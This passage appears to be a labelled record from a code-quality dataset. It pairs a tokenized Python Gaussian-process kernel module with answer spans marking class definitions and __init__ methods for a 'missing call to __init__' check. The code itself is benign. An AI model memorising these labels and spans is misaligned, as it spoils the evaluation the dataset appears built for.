log_sigma]", "metadata": "root.Periodic.__init__", "header": "['class', 'Periodic', '(', 'Kernel', ')', ':', '___EOS___']", "index": 1194 }, { "content": "class Noise(Kernel):\n '''\n Independent covariance function, i.e \"white noise\", with specified variance.\n Normally NOT used anymore since noise is now added in liklihood.\n hyp = [ log_sigma ]\n\n :param log_sigma: signal deviation.\n '''\n\n", "metadata": "root.Noise", "header": "['module', '___EOS___']", "index": 1253 }, { "content": " def __init__(self, log_sigma=0.):\n self.hyp = [log_sigma]", "metadata": "root.Noise.__init__", "header": "['class', 'Noise', '(', 'Kernel', ')', ':', '___EOS___']", "index": 1261 }, { "content": "class RQ(Kernel):\n '''\n Rational Quadratic covariance function with isotropic distance measure.\n hyp = [ log_ell, log_sigma, log_alpha ]\n\n :param log_ell: characteristic length scale.\n :param log_sigma: signal deviation.\n :param log_alpha: shape parameter for the RQ covariance.\n '''\n\n", "metadata": "root.RQ", "header": "['module', '___EOS___']", "index": 1303 }, { "content": " def __init__(self, log_ell=0., log_sigma=0., log_alpha=0.):\n self.hyp = [ log_ell, log_sigma, log_alpha ]", "metadata": "root.RQ.__init__", "header": "['class', 'RQ', '(', 'Kernel', ')', ':', '___EOS___']", "index": 1312 }, { "content": "class RQard(Kernel):\n '''\n Rational Quadratic covariance function with Automatic Relevance Detemination\n (ARD) distance measure.\n hyp = log_ell_list + [ log_sigma, log_alpha ]\n\n :param D: dimension of pattern. set if you want default ell, which is 0.5 for each dimension.\n :param log_ell_list: characteristic length scale for each dimension.\n :param log_sigma: signal deviation.\n :param log_alpha: shape parameter for the RQ covariance.\n '''\n\n", "metadata": "root.RQard", "header": "['module', '___EOS___']", "index": 1355 }, { "content": " def __init__(self, D=None, log_ell_list=None, log_sigma=0., log_alpha=0.):\n if log_ell_list is None:\n self.hyp = [0. for i in range(D)] + [ log_sigma, log_alpha ]\n else:\n self.hyp = log_ell_list + [ log_sigma, log_alpha ]", "metadata": "root.RQard.__init__", "header": "['class', 'RQard', '(', 'Kernel', ')', ':', '___EOS___']", "index": 1366 }, { "content": "class Pre(Kernel):\n '''\n Precomputed kernel matrix. No hyperparameters and thus nothing will be optimised.\n\n :param M1: cross covariances matrix(train+1 by test).\n last row is self covariances (diagonal of test by test)\n :param M2: training set covariance matrix (train by train)\n '''\n\n", "metadata": "root.Pre", "header": "['module', '___EOS___']", "index": 1428 }, { "content": " def __init__(self,M1,M2):\n self.M1 = M1\n self.M2 = M2\n self.hyp = []", "metadata": "root.Pre.__init__", "header": "['class', 'Pre', '(', 'Kernel', ')', ':', '___EOS___']", "index": 1436 } ]
[ { "span": "class ProductOfKernel(Kernel):", "start_line": 228, "start_column": 0, "end_line": 228, "end_column": 30 }, { "span": "class SumOfKernel(Kernel):", "start_line": 263, "start_column": 0, "end_line": 263, "end_column": 26 }, { "span": "class ScaleOfKernel(Kernel):", "start_line": 297, "start_column": 0, "end_line": 297, "end_column": 28 }, { "span": "class FITCOfKernel(Kernel):", "start_line": 330, "start_column": 0, "end_line": 330, "end_column": 27 }, { "span": "class Gabor(Kernel):", "start_line": 390, "start_column": 0, "end_line": 390, "end_column": 20 }, { "span": "class SM(Kernel):", "start_line": 452, "start_column": 0, "end_line": 452, "end_column": 17 }, { "span": "class Poly(Kernel):", "start_line": 622, "start_column": 0, "end_line": 622, "end_column": 19 }, { "span": "class PiecePoly(Kernel):", "start_line": 682, "start_column": 0, "end_line": 682, "end_column": 24 }, { "span": "class RBF(Kernel):", "start_line": 785, "start_column": 0, "end_line": 785, "end_column": 18 }, { "span": "class RBFunit(Kernel):", "start_line": 831, "start_column": 0, "end_line": 831, "end_column": 22 }, { "span": "class RBFard(Kernel):", "start_line": 871, "start_column": 0, "end_line": 871, "end_column": 21 }, { "span": "class Const(Kernel):", "start_line": 940, "start_column": 0, "end_line": 940, "end_column": 20 }, { "span": "class Linear(Kernel):", "start_line": 985, "start_column": 0, "end_line": 985, "end_column": 21 }, { "span": "class LINard(Kernel):", "start_line": 1027, "start_column": 0, "end_line": 1027, "end_column": 21 }, { "span": "class Matern(Kernel):", "start_line": 1077, "start_column": 0, "end_line": 1077, "end_column": 21 }, { "span": "class Periodic(Kernel):", "start_line": 1185, "start_column": 0, "end_line": 1185, "end_column": 23 }, { "span": "class Noise(Kernel):", "start_line": 1253, "start_column": 0, "end_line": 1253, "end_column": 20 }, { "span": "class RQ(Kernel):", "start_line": 1303, "start_column": 0, "end_line": 1303, "end_column": 17 }, { "span": "class RQard(Kernel):", "start_line": 1355, "start_column": 0, "end_line": 1355, "end_column": 20 }, { "span": "class Pre(Kernel):", "start_line": 1428, "start_column": 0, "end_line": 1428, "end_column": 18 } ]
[ { "span": "def __init__(self):", "start_line": 66, "start_column": 4, "end_line": 66, "end_column": 23 }, { "span": "def __init__(self,cov1,cov2):", "start_line": 230, "start_column": 4, "end_line": 230, "end_column": 33 }, { "span": "def __init__(self,cov1,cov2):", "start_line": 265, "start_column": 4, "end_line": 265, "end_column": 33 }, { "span": "def __init__(self,cov,scalar):", "start_line": 299, "start_column": 4, "end_line": 299, "end_column": 34 }, { "span": "def __init__(self,cov,inducingInput):", "start_line": 338, "start_column": 4, "end_line": 338, "end_column": 41 }, { "span": "def __init__(self, log_ell=0., log_p=0.):", "start_line": 408, "start_column": 4, "end_line": 408, "end_column": 45 }, { "span": "def __init__(self, Q=0, hyps=[], D=None):", "start_line": 479, "start_column": 4, "end_line": 479, "end_column": 45 }, { "span": "def __init__(self, log_c=0., d=2, log_sigma=0. ):", "start_line": 630, "start_column": 4, "end_line": 630, "end_column": 53 }, { "span": "def __init__(self, log_ell=0., v=2, log_sigma=0. ):", "start_line": 691, "start_column": 4, "end_line": 691, "end_column": 55 }, { "span": "def __init__(self, log_ell=0., log_sigma=0.):", "start_line": 792, "start_column": 4, "end_line": 792, "end_column": 49 }, { "span": "def __init__(self, log_ell=0.):", "start_line": 838, "start_column": 4, "end_line": 838, "end_column": 35 }, { "span": "def __init__(self, D=None, log_ell_list=None, log_sigma=0.):", "start_line": 880, "start_column": 4, "end_line": 880, "end_column": 64 }, { "span": "def __init__(self, log_sigma=0.):", "start_line": 946, "start_column": 4, "end_line": 946, "end_column": 37 }, { "span": "def __init__(self, log_sigma=0.):", "start_line": 991, "start_column": 4, "end_line": 991, "end_column": 37 }, { "span": "def __init__(self, D=None, log_ell_list=None):", "start_line": 1035, "start_column": 4, "end_line": 1035, "end_column": 50 }, { "span": "def __init__(self, log_ell=0., d=3, log_sigma=0. ):", "start_line": 1089, "start_column": 4, "end_line": 1089, "end_column": 55 }, { "span": "def __init__(self, log_ell=0., log_p=0., log_sigma=0. ):", "start_line": 1194, "start_column": 4, "end_line": 1194, "end_column": 60 }, { "span": "def __init__(self, log_sigma=0.):", "start_line": 1261, "start_column": 4, "end_line": 1261, "end_column": 37 }, { "span": "def __init__(self, log_ell=0., log_sigma=0., log_alpha=0.):", "start_line": 1312, "start_column": 4, "end_line": 1312, "end_column": 63 }, { "span": "def __init__(self, D=None, log_ell_list=None, log_sigma=0., log_alpha=0.):", "start_line": 1366, "start_column": 4, "end_line": 1366, "end_column": 78 }, { "span": "def __init__(self,M1,M2):", "start_line": 1436, "start_column": 4, "end_line": 1436, "end_column": 29 } ]
1
false
[ "[CLS]_", "Missing", "_", "call_", "to_", " _", "`_", "\\u\\u", "init\\u\\u_", "`_", "dur", "ing_", "object_", "initialization", "_", "[SEP]_", "class_", "Kernel_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "para_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Product", "Of", "Kernel_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Product", " ", "of", " ", "two", " ", "kernel", " ", "function", ".'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "hyp", "_", "=_", "property_", "(_", "\\u", "get", "Hyp", "_", ",_", "\\u", "set", "Hyp", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Product", "Of", "Kernel_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "cov", "1_", ",_", "cov", "2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "cov", "1_", "=_", "cov", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cov", "2_", "=_", "cov", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "hyp", "_", "=_", "cov", "1_", "._", "hyp", "_", "+_", "cov", "2_", "._", "hyp", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Sum", "Of", "Kernel_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Sum", " ", "of", " ", "two", " ", "kernel", " ", "function", ".'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "hyp", "_", "=_", "property_", "(_", "\\u", "get", "Hyp", "_", ",_", "\\u", "set", "Hyp", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Sum", "Of", "Kernel_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "cov", "1_", ",_", "cov", "2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "cov", "1_", "=_", "cov", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cov", "2_", "=_", "cov", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "hyp", "_", "=_", "cov", "1_", "._", "hyp", "_", "+_", "cov", "2_", "._", "hyp", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Scale", "Of", "Kernel_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Scale", " ", "of", " ", "a", " ", "kernel", " ", "function", ".'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "hyp", "_", "=_", "property_", "(_", "\\u", "get", "Hyp", "_", ",_", "\\u", "set", "Hyp", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Scale", "Of", "Kernel_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "cov_", ",_", "scalar_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "cov_", "=_", "cov_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "cov_", "._", "hyp", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "hyp", "_", "=_", "[_", "scalar_", "]_", "+_", "cov_", "._", "hyp", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "hyp", "_", "=_", "[_", "scalar_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "FIT", "CO", "f", "Kernel_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Covar", "iance", " ", "function", " ", "to", " ", "be", " ", "used", " ", "tog", "ether", " ", "with", " ", "the", " ", "FIT", "C", " ", "approx", "imat", "ion", ".", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "function", " ", "allow", "s", " ", "for", " ", "more", " ", "than", " ", "one", " ", "output", " ", "argu", "ment", " ", "and", " ", "doe", "s", " ", "not", " ", "respec", "t", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "interface", " ", "of", " ", "a", " ", "proper", " ", "covariance", " ", "function", ".", "\\", "10", ";", " ", " ", " ", " ", "Ins", "tea", "d", " ", "of", " ", "output", "ing", " ", "the", " ", "full", " ", "covariance", ",", " ", "it", " ", "return", "s", " ", "cross", "-", "covariance", "s", " ", "bet", "ween", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "inputs", " ", "x", ",", " ", "z", " ", "and", " ", "the", " ", "induc", "ing", " ", "inputs", " ", "xu", " ", "as", " ", "need", "ed", " ", "by", " ", "inf", "FIT", "C", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "hyp", "_", "=_", "property_", "(_", "\\u", "get", "Hyp", "_", ",_", "\\u", "set", "Hyp", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "FIT", "CO", "f", "Kernel_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "cov_", ",_", "induc", "ing", "Input_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "induc", "ing", "Input_", "=_", "induc", "ing", "Input_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cov", "func_", "=_", "cov_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "hyp", "_", "=_", "cov_", "._", "hyp", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Gab", "or_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Gab", "or", " ", "covariance", " ", "function", " ", "with", " ", "length", " ", "scale", " ", "ell", " ", "and", " ", "period", " ", "p", ".", " ", "The", "\\", "10", ";", " ", " ", " ", " ", "covariance", " ", "function", " ", "is", " ", "parameterize", "d", " ", "as", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "k", "(", "x", ",", "z", ")", " ", "=", " ", "h", "(", " ", "||", "x", "-", "z", "||", " ", ")", " ", "with", " ", "h", "(", "t", ")", " ", "=", " ", "exp", "(-", "t", "^", "2", "/(", "2", "*", "ell", "^", "2", "))", "*", "cos", "(", "2", "*", "pi", "*", "t", "/", "p", ").", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "hyperparameters", " ", "are", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "hyp", " ", "=", " ", "[", "log", "(", "ell", "),", " ", "log", "(", "p", ")]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Not", "e", " ", "tha", "t", " ", "SM", " ", "covariance", " ", "implement", "s", " ", "a", " ", "weight", "ed", " ", "sum", " ", "of", " ", "Gab", "or", " ", "covariance", " ", "function", "s", ",", " ", "but", "\\", "10", ";", " ", " ", " ", " ", "usi", "ng", " ", "an", " ", "alternative", " ", "(", "spectral", ")", " ", "parameter", "izatio", "n", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "ell", ":", " ", "characteristic", " ", "length", " ", "scale", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "p", ":", " ", "period", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Gab", "or_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "log", "\\u", "ell_", "=_", "0._", ",_", "log", "\\u", "p_", "=_", "0._", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "[_", "log", "\\u", "ell_", ",_", "log", "\\u", "p_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "SM_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Gaussian", " ", "Spectra", "l", " ", "Mix", "ture", " ", "covariance", " ", "function", ".", " ", "The", "\\", "10", ";", " ", " ", " ", " ", "covariance", " ", "function", " ", "is", " ", "parameterize", "d", " ", "as", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "k", "(", "x", "^", "p", ",", "x", "^", "q", ")", " ", "=", " ", "w", "'*", "prod", "(", " ", "exp", "(-", "2", "*", "pi", "^", "2", "*", "d", "^", "2", "*", "v", ")*", "cos", "(", "2", "*", "pi", "*", "d", "*", "m", "),", " ", "2", "),", " ", "d", " ", "=", " ", "|", "x", "^", "p", ",", "x", "^", "q", "|", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "where", " ", "m", "(", "Dx", "Q", "),", " ", "v", "(", "Dx", "Q", ")", " ", "are", " ", "the", " ", "means", " ", "and", " ", "varian", "ces", " ", "of", " ", "the", " ", "spectral", " ", "mixture", "\\", "10", ";", " ", " ", " ", " ", "component", "s", " ", "and", " ", "w", " ", "are", " ", "the", " ", "mixture", " ", "weight", "s", ".", " ", "The", " ", "hyperparameters", " ", "are", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "hyp", " ", "=", " ", "[", " ", "log", "(", "w", "),", " ", "log", "(", "m", "(:", "))", ",", " ", "log", "(", "sqrt", "(", "v", "(:", ")))", " ", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Copy", "right", " ", "(", "c", ")", " ", "by", " ", "Andre", "w", " ", "Go", "rdo", "n", " ", "Wil", "son", " ", "and", " ", "Han", "nes", " ", "Nick", "isch", ",", " ", "2013", "-1", "0", "-0", "9", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "more", " ", "deta", "il", "s", ",", " ", "see", "\\", "10", ";", " ", " ", " ", " ", "1", ")", " ", "Gaussian", " ", "Process", " ", "Kern", "el", "s", " ", "for", " ", "Pat", "tern", " ", "Discover", "y", " ", "and", " ", "Extra", "pol", "ation", ",", "\\", "10", ";", " ", " ", " ", " ", "ICM", "L", ",", " ", "2013", ",", " ", "by", " ", "Andre", "w", " ", "Go", "rdo", "n", " ", "Wil", "son", " ", "and", " ", "Ry", "an", " ", "Pres", "cot", "t", " ", "Adam", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "2", ")", " ", "GP", "att", ":", " ", "Fast", " ", "Multi", "dimension", "al", " ", "Pat", "tern", " ", "Extra", "pol", "ation", " ", "with", " ", "Gaussian", "\\", "10", ";", " ", " ", " ", " ", "Processe", "s", ",", " ", "ar", "Xi", "v", " ", "1310", ".5", "288", ",", " ", "2013", ",", " ", "by", " ", "Andre", "w", " ", "Go", "rdo", "n", " ", "Wil", "son", ",", " ", "El", "ad", " ", "Gi", "lbo", "a", ",", "\\", "10", ";", " ", " ", " ", " ", "Ar", "ye", " ", "Ne", "hora", "i", " ", "and", " ", "Joh", "n", " ", "P", ".", " ", "Cu", "nni", "ngh", "am", ",", " ", "and", "\\", "10", ";", " ", " ", " ", " ", "http", "://", "ml", "g", ".", "eng", ".", "cam", ".", "ac", ".", "uk", "/", "andr", "ew", "/", "pattern", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "w", ":", " ", "weight", " ", "coefficient", "s", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "m", ":", " ", "spectral", " ", "means", " ", "(", "freque", "ncie", "s", ").", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "v", ":", " ", "spectral", " ", "varian", "ces", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "SM_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "Q_", "=_", "0_", ",_", "hyp", "s_", "=_", "[_", "]_", ",_", "D_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "D_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "np_", "._", "random_", "._", "random_", "(_", "Q_", "*_", "(_", "1_", "+_", "2_", "*_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "hyp", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "para_", "=_", "[_", "Q_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Poly_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Polynomial", " ", "covariance", " ", "function", ".", " ", "hyp", " ", "=", " ", "[", " ", "log", "\\u", "c", ",", " ", "log", "\\u", "sigma", " ", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "c", ":", " ", "inh", "omo", "gene", "ous", " ", "offset", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "sigma", ":", " ", "signal", " ", "deviation", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "d", ":", " ", "degr", "ee", " ", "of", " ", "polynomial", " ", "(", "not", " ", "treat", "ed", " ", "as", " ", "hyperparam", "eter", ",", " ", "i", ".", "e", ".", " ", "will", " ", "not", " ", "be", " ", "trained", ").", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "log", "\\u", "c_", "=_", "0._", ",_", "d_", "=_", "2_", ",_", "log", "\\u", "sigma_", "=_", "0._", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "[_", "log", "\\u", "c_", ",_", "log", "\\u", "sigma_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "para_", "=_", "[_", "d_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Piece", "Poly_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Piece", "wis", "e", " ", "polynomial", " ", "kernel", " ", "with", " ", "compact", " ", "support", ".", "\\", "10", ";", " ", " ", " ", " ", "hyp", " ", "=", " ", "[", "log", "\\u", "ell", ",", " ", "log", "\\u", "sigma", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "ell", ":", " ", "characteristic", " ", "length", " ", "scale", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "sigma", ":", " ", "signal", " ", "deviation", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "v", ":", " ", "degr", "ee", " ", "v", " ", "will", " ", "be", " ", "rounded", " ", "to", " ", "0", ",", "1", ",", "2", ",", "or", " ", "3", ".", " ", "(", "not", " ", "treat", "ed", " ", "as", " ", "hyperparam", "eter", ",", " ", "i", ".", "e", ".", " ", "will", " ", "not", " ", "be", " ", "trained", ").", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 